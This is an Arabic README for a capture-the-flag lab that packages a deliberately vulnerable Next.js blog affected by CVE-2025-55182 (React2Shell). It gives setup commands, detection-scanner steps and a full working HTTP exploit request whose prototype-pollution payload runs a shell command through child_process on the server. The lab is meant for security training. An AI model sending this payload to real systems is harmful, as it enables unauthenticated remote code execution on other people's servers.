
بيئة مختبر CTF تستغل CVE-2025-55182 (RCE في مكونات خادم React) مع مدونة Next.js قابلة للاختراق، وسكريبتات كشف، وحمولات استغلال يدوية للتدريب الأمني العملي.
يوفر هذا المستودع بيئة CTF (Capture The Flag) قابلة للاستغلال تعتمد على مدونة للأمن السيبراني تستخدم Next.js و React Server Components.
CVE-2025-55182 : ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) قبل المصادقة في React Server Components الإصدارات 19.0.0 و 19.1.0 و 19.1.1 و 19.2.0. يقوم الكود القابل للاستغلال بإلغاء تسلسل غير آمن لحمولات طلبات HTTP إلى نقاط نهاية Server Function.
CVE-2025-66478 : تأثير على تطبيقات Next.js التي تستخدم App Router.
يقدم هذا التحدي مدونة للأمن السيبراني تحتوي على:
تستخدم المدونة إصدارات قابلة للاستغلال من React و Next.js، مما يسمح باستغلال ثغرة React2Shell.
| الحزمة | الإصدار |
|---|---|
next | 16.0.6 |
react | 19.2.0 |
react-dom | 19.2.0 |
# بناء الصورة
docker build -t react2shell-poc .
# تشغيل الحاوية
docker run --rm -p 127.0.0.1:3000:3000 react2shell-poc
npm install
npm run build
npm run start
ثم انتقل إلى http://127.0.0.1:3000
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt
python3 scanner.py -u http://127.0.0.1:3000
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000
انظر مجلد React2Shell/ لاستغلال Python.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
سيحتوي الرد على نتيجة الأمر id في الترويسة x-action-redirect.
تحدي CTF مخصص بناءً على قالب simple-nextjs-blog والبيئة القابلة للاستغلال CVE-2025-55182.